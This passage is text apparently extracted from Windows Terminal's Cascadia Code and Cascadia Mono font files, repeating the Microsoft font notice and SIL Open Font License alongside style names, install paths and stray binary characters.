5) The Font Software, modified or unmodified, in part or in whole, must be distributed entirely under this license, and must not be distributed under any other license. The requirement for fonts to remain under this license does not apply to any document created using the Font Software. THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE. https://scripts.sil.org/OFL Cascadia Code Cascadia Code Bold CascadiaCodeRoman-Bold C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIACODEITALIC.TTF !"#$ en-us Weight Italic ExtraLight Light SemiLight Regular SemiBold Bold 2021 Microsoft Corporation. All Rights Reserved. Version 2111.001 Cascadia Code is a trademark of the Microsoft group of companies. Saja Typeworks Aaron Bell http://sajatypeworks.com Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. The following license, based on the SIL Open Font license (https://scripts.sil.org/OFL), applies to this font. Additional license terms may be found on the GitHub repository for this font (https://github.com/microsoft/cascadia-code/blob/master/LICENSE). Permission is hereby granted, free of charge, to any person obtaining a copy of the Font Software, to use, study, copy, merge, embed, modify, redistribute, and sell modified and unmodified copies of the Font Software, subject to the following conditions: 1) Neither the Font Software nor any of its individual components, in Original or Modified Versions, may be sold by itself. 2) Original or Modified Versions of the Font Software may be bundled, redistributed and/or sold with any software, provided that each copy contains the above copyright notice and this license. These can be included either as stand-alone text files, human-readable headers or in the appropriate machine-readable metadata fields within text or binary files as long as those fields can be easily viewed by the user. 3) No Modified Version of the Font Software may use the Reserved Font Name(s) unless explicit written permission is granted by the corresponding Copyright Holder. This restriction only applies to the primary font name as presented to the users. 4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font Software shall not be used to promote, endorse or advertise any Modified Version, except to acknowledge the contribution(s) of the Copyright Holder(s) and the Author(s) or with their explicit written permission. 5) The Font Software, modified or unmodified, in part or in whole, must be distributed entirely under this license, and must not be distributed under any other license. The requirement for fonts to remain under this license does not apply to any document created using the Font Software. THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE. https://scripts.sil.org/OFL Cascadia Code Cascadia Code SemiBold SemiBold Italic Cascadia Code SemiBold Italic CascadiaCodeItalic-SemiBold-Italic C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIACODEITALIC.TTF !"#$ en-us Weight Italic ExtraLight Light SemiLight Regular SemiBold Bold 2021 Microsoft Corporation. All Rights Reserved. Version 2111.001 Cascadia Code is a trademark of the Microsoft group of companies. Saja Typeworks Aaron Bell http://sajatypeworks.com Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. The following license, based on the SIL Open Font license (https://scripts.sil.org/OFL), applies to this font. Additional license terms may be found on the GitHub repository for this font (https://github.com/microsoft/cascadia-code/blob/master/LICENSE). Permission is hereby granted, free of charge, to any person obtaining a copy of the Font Software, to use, study, copy, merge, embed, modify, redistribute, and sell modified and unmodified copies of the Font Software, subject to the following conditions: 1) Neither the Font Software nor any of its individual components, in Original or Modified Versions, may be sold by itself. 2) Original or Modified Versions of the Font Software may be bundled, redistributed and/or sold with any software, provided that each copy contains the above copyright notice and this license. These can be included either as stand-alone text files, human-readable headers or in the appropriate machine-readable metadata fields within text or binary files as long as those fields can be easily viewed by the user. 3) No Modified Version of the Font Software may use the Reserved Font Name(s) unless explicit written permission is granted by the corresponding Copyright Holder. This restriction only applies to the primary font name as presented to the users. 4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font Software shall not be used to promote, endorse or advertise any Modified Version, except to acknowledge the contribution(s) of the Copyright Holder(s) and the Author(s) or with their explicit written permission. 5) The Font Software, modified or unmodified, in part or in whole, must be distributed entirely under this license, and must not be distributed under any other license. The requirement for fonts to remain under this license does not apply to any document created using the Font Software. THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE. https://scripts.sil.org/OFL Cascadia Code Cascadia Code ExtraLight ExtraLight Italic Cascadia Code ExtraLight Italic CascadiaCodeItalic-ExtraLight-Italic C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIACODEITALIC.TTF !"#$ en-us Weight Italic ExtraLight Light SemiLight Regular SemiBold Bold 2021 Microsoft Corporation. All Rights Reserved. Version 2111.001 Cascadia Code is a trademark of the Microsoft group of companies. Saja Typeworks Aaron Bell http://sajatypeworks.com Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. The following license, based on the SIL Open Font license (https://scripts.sil.org/OFL), applies to this font. Additional license terms may be found on the GitHub repository for this font (https://github.com/microsoft/cascadia-code/blob/master/LICENSE). Permission is hereby granted, free of charge, to any person obtaining a copy of the Font Software, to use, study, copy, merge, embed, modify, redistribute, and sell modified and unmodified copies of the Font Software, subject to the following conditions: 1) Neither the Font Software nor any of its individual components, in Original or Modified Versions, may be sold by itself. 2) Original or Modified Versions of the Font Software may be bundled, redistributed and/or sold with any software, provided that each copy contains the above copyright notice and this license. These can be included either as stand-alone text files, human-readable headers or in the appropriate machine-readable metadata fields within text or binary files as long as those fields can be easily viewed by the user. 3) No Modified Version of the Font Software may use the Reserved Font Name(s) unless explicit written permission is granted by the corresponding Copyright Holder. This restriction only applies to the primary font name as presented to the users. 4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font Software shall not be used to promote, endorse or advertise any Modified Version, except to acknowledge the contribution(s) of the Copyright Holder(s) and the Author(s) or with their explicit written permission. 5) The Font Software, modified or unmodified, in part or in whole, must be distributed entirely under this license, and must not be distributed under any other license. The requirement for fonts to remain under this license does not apply to any document created using the Font Software. THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE. https://scripts.sil.org/OFL Cascadia Code Bold Italic Cascadia Code Bold Italic CascadiaCodeItalic-Bold-Italic C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIAMONO.TTF 89#t !"# '()*+, :943 en-us Weight Italic ExtraLight Light SemiLight Regular SemiBold Bold Roman 2021 Microsoft Corporation. All Rights Reserved. Version 2111.001 Cascadia Code is a trademark of the Microsoft group of companies. Saja Typeworks Aaron Bell http://sajatypeworks.com Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. The following license, based on the SIL Open Font license (https://scripts.sil.org/OFL), applies to this font. Additional license terms may be found on the GitHub repository for this font (https://github.com/microsoft/cascadia-code/blob/main/LICENSE). Permission is hereby granted, free of charge, to any person obtaining a copy of the Font Software, to use, study, copy, merge, embed, modify, redistribute, and sell modified and unmodified copies of the Font Software, subject to the following conditions: 1) Neither the Font Software nor any of its individual components, in Original or Modified Versions, may be sold by itself. 2) Original or Modified Versions of the Font Software may be bundled, redistributed and/or sold with any software, provided that each copy contains the above copyright notice and this license. These can be included either as stand-alone text files, human-readable headers or in the appropriate machine-readable metadata fields within text or binary files as long as those fields can be easily viewed by the user. 3) No Modified Version of the Font Software may use the Reserved Font Name(s) unless explicit written permission is granted by the corresponding Copyright Holder. This restriction only applies to the primary font name as presented to the users. 4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font Software shall not be used to promote, endorse or advertise any Modified Version, except to acknowledge the contribution(s) of the Copyright Holder(s) and the Author(s) or with their explicit written permission. 5) The Font Software, modified or unmodified, in part or in whole, must be distributed entirely under this license, and must not be distributed under any other license. The requirement for fonts to remain under this license does not apply to any document created using the Font Software. THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE. https://scripts.sil.org/OFL Cascadia Mono CascadiaMonoRoman C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIAMONO.TTF 89#t !"# '()*+, :943 en-us Weight Italic ExtraLight Light SemiLight Regular SemiBold Bold Roman 2021 Microsoft Corporation. All Rights Reserved. Version 2111.001 Cascadia Code is a trademark of the Microsoft group of companies. Saja Typeworks Aaron Bell http://sajatypeworks.com Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. The following license, based on the SIL Open Font license (https://scripts.sil.org/OFL), applies to this font. Additional license terms may be found on the GitHub repository for this font (https://github.com/microsoft/cascadia-code/blob/main/LICENSE). Permission is hereby granted, free of charge, to any person obtaining a copy of the Font Software, to use, study, copy, merge, embed, modify, redistribute, and sell modified and unmodified copies of the Font Software, subject to the following conditions: 1) Neither the Font Software nor any of its individual components, in Original or Modified Versions, may be sold by itself. 2) Original or Modified Versions of the Font Software may be bundled, redistributed and/or sold with any software, provided that each copy contains the above copyright notice and this license. These can be included either as stand-alone text files, human-readable headers or in the appropriate machine-readable metadata fields within text or binary files as long as those fields can be easily viewed by the user. 3) No Modified Version of the Font Software may use the Reserved Font Name(s) unless explicit written permission is granted by the corresponding Copyright Holder. This restriction only applies to the primary font name as presented to the users. 4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font Software shall not be used to promote, endorse or advertise any Modified Version, except to acknowledge the contribution(s) of the Copyright Holder(s) and the Author(s) or with their explicit written permission. 5) The Font Software, modified or unmodified, in part or in whole, must be distributed entirely under this license, and must not be distributed under any other license. The requirement for fonts to remain under this license does not apply to any document created using the Font Software. THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE. https://scripts.sil.org/OFL Cascadia Mono Cascadia Mono SemiLight CascadiaMonoRoman-SemiLight C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIAMONO.TTF 89#t !"# '()*+, :943 en-us Weight Italic ExtraLight Light SemiLight Regular SemiBold Bold Roman 2021 Microsoft Corporation. All Rights Reserved. Version 2111.001 Cascadia Code is a trademark of the Microsoft group of companies. Saja Typeworks Aaron Bell http://sajatypeworks.com Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. The following license, based on the SIL Open Font license (https://scripts.sil.org/OFL), applies to this font. Additional license terms may be found on the GitHub repository for this font (https://github.com/microsoft/cascadia-code/blob/main/LICENSE). Permission is hereby granted, free of charge, to any person obtaining a copy of the Font Software, to use, study, copy, merge, embed, modify, redistribute, and sell modified and unmodified copies of the Font Software, subject to the following conditions: 1) Neither the Font Software nor any of its individual components, in Original or Modified Versions, may be sold by itself. 2) Original or Modified Versions of the Font Software may be bundled, redistributed and/or sold with any software, provided that each copy contains the above copyright notice and this license. These can be included either as stand-alone text files, human-readable headers or in the appropriate machine-readable metadata fields within text or binary files as long as those fields can be easily viewed by the user. 3) No Modified Version of the Font Software may use the Reserved Font Name(s) unless explicit written permission is granted by the corresponding Copyright Holder. This restriction only applies to the primary font name as presented to the users. 4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font Software shall not be used to promote, endorse or advertise any Modified Version, except to acknowledge the contribution(s) of the Copyright Holder(s) and the Author(s) or with their explicit written permission. 5) The Font Software, modified or unmodified, in part or in whole, must be distributed entirely under this license, and must not be distributed under any other license. The requirement for fonts to remain under this license does not apply to any document created using the Font Software. THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE. https://scripts.sil.org/OFL Cascadia Mono Cascadia Mono Light CascadiaMonoRoman-Light C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIAMONO.TTF 89#t !"# '()*+, :943 en-us Weight Italic ExtraLight Light SemiLight Regular SemiBold Bold Roman 2021 Microsoft Corporation. All Rights Reserved. Version 2111.001 Cascadia Code is a trademark of the Microsoft group of companies. Saja Typeworks Aaron Bell http://sajatypeworks.com Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. The following license, based on the SIL Open Font license (https://scripts.sil.org/OFL), applies to this font. Additional license terms may be found on the GitHub repository for this font (https://github.com/microsoft/cascadia-code/blob/main/LICENSE). Permission is hereby granted, free of charge, to any person obtaining a copy of the Font Software, to use, study, copy, merge, embed, modify, redistribute, and sell modified and unmodified copies of the Font Software, subject to the following conditions: 1) Neither the Font Software nor any of its individual components, in Original or Modified Versions, may be sold by itself. 2) Original or Modified Versions of the Font Software may be bundled, redistributed and/or sold with any software, provided that each copy contains the above copyright notice and this license. These can be included either as stand-alone text files, human-readable headers or in the appropriate machine-readable metadata fields within text or binary files as long as those fields can be easily viewed by the user. 3) No Modified Version of the Font Software may use the Reserved Font Name(s) unless explicit written permission is granted by the corresponding Copyright Holder. This restriction only applies to the primary font name as presented to the users. 4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font Software shall not be used to promote, endorse or advertise any Modified Version, except to acknowledge the contribution(s) of the Copyright Holder(s) and the Author(s) or with their explicit written permission. 5) The Font Software, modified or unmodified, in part or in whole, must be distributed entirely under this license, and must not be distributed under any other license. The requirement for fonts to remain under this license does not apply to any document created using the Font Software. THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE. https://scripts.sil.org/OFL Cascadia Mono Cascadia Mono SemiBold CascadiaMonoRoman-SemiBold C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIAMONO.TTF 89#t !"# '()*+, :943 en-us Weight Italic ExtraLight Light SemiLight Regular SemiBold Bold Roman 2021 Microsoft Corporation. All Rights Reserved. Version 2111.001 Cascadia Code is a trademark of the Microsoft group of companies. Saja Typeworks Aaron Bell http://sajatypeworks.com Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. The following license, based on the SIL Open Font license (https://scripts.sil.org/OFL), applies to this font. Additional license terms may be found on the GitHub repository for this font (https://github.com/microsoft/cascadia-code/blob/main/LICENSE). Permission is hereby granted, free of charge, to any person obtaining a copy of the Font Software, to use, study, copy, merge, embed, modify, redistribute, and sell modified and unmodified copies of the Font Software, subject to the following conditions: 1) Neither the Font Software nor any of its individual components, in Original or Modified Versions, may be sold by itself. 2) Original or Modified Versions of the Font Software may be bundled, redistributed and/or sold with any software, provided that each copy contains the above copyright notice and this license. These can be included either as stand-alone text files, human-readable headers or in the appropriate machine-readable metadata fields within text or binary files as long as those fields can be easily viewed by the user. 3) No Modified Version of the Font Software may use the Reserved Font Name(s) unless explicit written permission is granted by the corresponding Copyright Holder. This restriction only applies to the primary font name as presented to the users. 4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font Software shall not be used to promote, endorse or advertise any Modified Version, except to acknowledge the contribution(s) of the Copyright Holder(s) and the Author(s) or with their explicit written permission. 5) The Font Software, modified or unmodified, in part or in whole, must be distributed entirely under this license, and must not be distributed under any other license. The requirement for fonts to remain under this license does not apply to any document created using the Font Software. THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE. https://scripts.sil.org/OFL Cascadia Mono Cascadia Mono ExtraLight CascadiaMonoRoman-ExtraLight C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIAMONOITALIC.TTF !"#$ en-us Weight Italic ExtraLight Light SemiLight Regular SemiBold Bold 2021 Microsoft Corporation. All Rights Reserved. Version 2111.001 Cascadia Code is a trademark of the Microsoft group of companies. Saja Typeworks Aaron Bell http://sajatypeworks.com Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. The following license, based on the SIL Open Font license (https://scripts.sil.org/OFL), applies to this font. Additional license terms may be found on the GitHub repository for this font (https://github.com/microsoft/cascadia-code/blob/master/LICENSE). Permission is hereby granted, free of charge, to any person obtaining a copy of the Font Software, to use, study, copy, merge, embed, modify, redistribute, and sell modified and unmodified copies of the Font Software, subject to the following conditions: 1) Neither the Font Software nor any of its individual components, in Original or Modified Versions, may be sold by itself. 2) Original or Modified Versions of the Font Software may be bundled, redistributed and/or sold with any software, provided that each copy contains the above copyright notice and this license. These can be included either as stand-alone text files, human-readable headers or in the appropriate machine-readable metadata fields within text or binary files as long as those fields can be easily viewed by the user. 3) No Modified Version of the Font Software may use the Reserved Font Name(s) unless explicit written permission is granted by the corresponding Copyright Holder. This restriction only applies to the primary font name as presented to the users. 4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font Software shall not be used to promote, endorse or advertise any Modified Version, except to acknowledge the contribution(s) of the Copyright Holder(s) and the Author(s) or with their explicit written permission. 5) The Font Software, modified or unmodified, in part or in whole, must be distributed entirely under this license, and must not be distributed under any other license. The requirement for fonts to remain under this license does not apply to any document created using the Font Software. THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE. https://scripts.sil.org/OFL Cascadia Mono Cascadia Mono Italic CascadiaMonoItalic-Italic C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIAMONOITALIC.TTF !"#$ en-us Weight Italic ExtraLight Light SemiLight Regular SemiBold Bold 2021 Microsoft Corporation. All Rights Reserved. Version 2111.001 Cascadia Code is a trademark of the Microsoft group of companies. Saja Typeworks Aaron Bell http://sajatypeworks.com Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. The following license, based on the SIL Open Font license (https://scripts.sil.org/OFL), applies to this font. Additional license terms may be found on the GitHub repository for this font (https://github.com/microsoft/cascadia-code/blob/master/LICENSE). Permission is hereby granted, free of charge, to any person obtaining a copy of the Font Software, to use, study, copy, merge, embed, modify, redistribute, and sell modified and unmodified copies of the Font Software, subject to the following conditions: 1) Neither the Font Software nor any of its individual components, in Original or Modified Versions, may be sold by itself. 2) Original or Modified Versions of the Font Software may be bundled, redistributed and/or sold with any software, provided that each copy contains the above copyright notice and this license. These can be included either as stand-alone text files, human-readable headers or in the appropriate machine-readable metadata fields within text or binary files as long as those fields can be easily viewed by the user. 3) No Modified Version of the Font Software may use the Reserved Font Name(s) unless explicit written permission is granted by the corresponding Copyright Holder. This restriction only applies to the primary font name as presented to the users. 4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font Software shall not be used to promote, endorse or advertise any Modified Version, except to acknowledge the contribution(s) of the Copyright Holder(s) and the Author(s) or with their explicit written permission. 5) The Font Software, modified or unmodified, in part or in whole, must be distributed entirely under this license, and must not be distributed under any other license. The requirement for fonts to remain under this license does not apply to any document created using the Font Software. THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE. https://scripts.sil.org/OFL Cascadia Mono Cascadia Mono SemiLight SemiLight Italic Cascadia Mono SemiLight Italic CascadiaMonoItalic-SemiLight-Italic C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIAMONOITALIC.TTF !"#$ en-us Weight Italic ExtraLight Light SemiLight Regular SemiBold Bold 2021 Microsoft Corporation. All Rights Reserved. Version 2111.001 Cascadia Code is a trademark of the Microsoft group of companies. Saja Typeworks Aaron Bell http://sajatypeworks.com Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. The following license, based on the SIL Open Font license (https://scripts.sil.org/OFL), applies to this font. Additional license terms may be found on the GitHub repository for this font (https://github.com/microsoft/cascadia-code/blob/master/LICENSE). Permission is hereby granted, free of charge, to any person obtaining a copy of the Font Software, to use, study, copy, merge, embed, modify, redistribute, and sell modified and unmodified copies of the Font Software, subject to the following conditions: 1) Neither the Font Software nor any of its individual components, in Original or Modified Versions, may be sold by itself. 2) Original or Modified Versions of the Font Software may be bundled, redistributed and/or sold with any software, provided that each copy contains the above copyright notice and this license. These can be included either as stand-alone text files, human-readable headers or in the appropriate machine-readable metadata fields within text or binary files as long as those fields can be easily viewed by the user. 3) No Modified Version of the Font Software may use the Reserved Font Name(s) unless explicit written permission is granted by the corresponding Copyright Holder. This restriction only applies to the primary font name as presented to the users. 4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font Software shall not be used to promote, endorse or advertise any 